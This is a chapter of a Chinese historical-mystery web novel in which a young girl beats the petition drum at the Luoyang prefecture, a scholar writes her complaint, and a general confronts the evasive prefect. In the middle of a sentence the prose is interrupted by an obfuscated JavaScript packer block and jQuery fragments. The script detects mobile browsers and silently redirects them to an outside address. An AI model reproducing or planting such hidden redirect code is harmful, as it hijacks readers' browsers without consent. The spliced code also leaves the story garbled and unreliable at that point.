登闻鼓一响,必有求告无门的冤案,一时一传十十传百,引得洛阳城中的百姓都往司州府蜂拥而去。
听筝偏头看向扶箴,问道:“娘子,我们要去司州府那边看看登闻鼓响是何缘由么?”
扶箴没睁眼,语气中隐隐有疲惫之态,“不必,司州府的事情自有有司处理,要真捅破天,那也是大理寺萧垂的事情,我们如今还有更重要的事情去做,不必在这种无关紧要的事情上浪费时间。”
铜驼街上全是朝司州府奔走的行人,马车的行进速度一时慢下来,扶箴又吩咐:“不必走这条过司州府回扶宅的路,掉头换条路。”
车夫依言照做,他们朝着人少的另一边去。
听筝请示扶箴的意思:“娘子方才说的更要的事情,是指韩昉的妻女么?可要安排人去河阴县暗中关照她们母女?”
扶箴摇摇头,“我不清楚今日我与韩昉之间的话被那辛越听去多少,看他的样子,也像是怀疑韩昉和这件案子之间的关系,韩昉既然是军户,所有的户籍信息都在禁军那边有记载,辛越一查便知韩昉的底细,说不好也会去河阴找人。回府后你安排我们的人,立即快马加鞭去河阴,直接将那母女接入洛阳,安置在扶宅,放在咱们眼皮底下才不至于受制于人。”
*
登闻鼓敲响之事很快吸引了许多人前往司州府府衙门口围观,只是众人万万没想到,这敲登闻鼓的竟然是个女娘,还是个看着不到及笄之年,梳着双鬟的小娘子。
她身量不够高,那两个敲登闻鼓的鼓槌于她而言太过沉重,她便双手握着一根鼓槌一下一下地踮着脚敲,仿佛每一下都用尽了她所有的力气。她敲得慢,声音也不算大,但却带着一股从大人身上很难看到的孤绝与坚强。
司州知州周时闻讯当即带人来到府衙门口,大喝一声:“何人在堂下击鼓鸣冤!递上诉状来!”
他说话间早已有小吏朝登闻鼓的方向跑去,同那小娘子要诉状。
那小娘子仿佛未曾听到一般,仍然击鼓,也不理小吏一眼。
道边聚集了许多民众,众人也都看得出,那小娘子身着窄袖麻衣,根本不像有诉状的模样,不免议论纷纷。
“这是做什么嘛,那小娘子一看就是走投无路了,怎么还要诉状呢!”
“可不是,若是家中还有能写诉状的人,也不至于让这么个小姑娘来击鼓鸣冤吧,当真是不通人情。”
议论声渐起,周时一时也在堂上陷入焦灼,按照律令,鸣冤之人需要递上诉状,陈明冤情,以留存档案,作为日后评判政绩的凭证,只是那小娘子一看便是孤注一掷,若不按律办事,他又恐御史在朝会时参他一本,若按律办事,执意要诉状,那小娘子拿不出,引发民乱,后果更是一发不可收拾,他一时更是举棋不定。
“要诉状是么?”人群中冒出个声音,随后是一名穿着长衫,头发以青色发带束缚,长相清癯的青年拨开人群,朝登闻鼓的方向而去,“读书便是为天下百姓鸣不平,既然要诉状,我现场替这位小娘子写,不知府君可否应允?”
这人一出现,总算是将他从进退两难的窘境解脱出来,周时当即松一口气,“你有此心,我也不好阻拦。”说着指挥身边小吏给青年拿纸笔。
青年从袖中取出一块干净的手帕,替小娘子擦去眼泪,语调温和:“小娘子莫着急,你且一字一句说与我听,我必记下来。”
他从小吏手中接过纸笔,当即跪坐在原地,将纸铺在地上,听小娘子陈述自己的冤情。
“我姓韩,我爹爹是禁军的一名幢主,讳昉,半月前奉命随辛将军一道去往荥阳县修建汴口堰大堤。出发前夜,河阴的一位姓柳的郎君来到我家,那人是爹爹的上司,我认得他,他同爹爹说,若此次修建堤坝无论出现什么问题,都要爹爹替他认下,爹爹自然不允,但他此前就屡次趁爹爹不在家时,为难于我与阿娘,他说,如若爹爹应允他,他不但保证以后在河阴地界无人敢欺负我与阿娘,而且他也不再登门为难我和阿娘,他来的时候带了很多人,甚至拿我和阿娘的性命逼迫爹爹,爹爹迫于无奈应允。”
小娘子说到此处突然抽泣起来。
青年写诉状写得气愤不已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445587|185088||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,拳头甚至在地上砸出一道血痕来,却又忍着怨气安抚小娘子。
周边围观的站在前排的百姓也将小娘子的话多少听去一些,也不免唾骂一声:“这个姓柳的,真不是个东西!”
“简直是畜牲!”
“只是河阴县,姓柳,不会是和那位柳公有关吧?我可听说柳公与那位殿下走得极近呢。”
这话一出,议论声瞬间小了不少。
小娘子察觉到不对,开始纠结,青年鼓励她继续讲,她这才道出后面的事情。
“按说爹爹修建完堤坝就应当回家的,只是他并未如期归家,我与阿娘多番打听才知他是因玩忽职守被下狱了,可那个柳郎君并未打算就此放过阿娘,阿娘将我藏入柜子里,嘱咐我无论发生什么都不要出来,然后我便瞧见他要欺负阿娘,阿娘不从,他当即对阿娘动手还将人带走,我从河阴县走了快两日,才到洛阳。”
说到此处,小娘子已经几近哭成泪人模样。
青年讲她的话不做遗落地写下,递到周时案前,“请周府君还韩小娘子一个公允之道!”
周时草草扫过那封诉状,很快留意到其中屡次出现的“柳”字,他也清楚最近韩昉被关在大理寺中,引得多方关注,此时这个案子就是烫手山芋,柳家身份地位又摆在那里,哪里是他能轻易得罪的,这个案子根本轮不到他来插手,他便含糊着想推脱过去:“这只是那韩氏一面之词,没有证人与证据,焉知其不是被人授意胡乱攀咬?来日再议。”他摆摆手,就打算走。
青年却拦住他,“登闻鼓响,你这狗官,竟然坐视不理?”
“这分明是无凭无据之事!你有何资格插手过问此事?”
“无凭无据?便是你查也不查的理由么?”人群中响出一声马的嘶鸣声。
周时望过去,马上之人,不是辛越又是谁?
辛越翻身下马,大步流星地朝这边走来,“那你倒是看看,本将军过问此事,够不够格?”
扶箴的马车刚在外围停好,一掀开车帘,便瞧见这一幕。
还是慢了一步。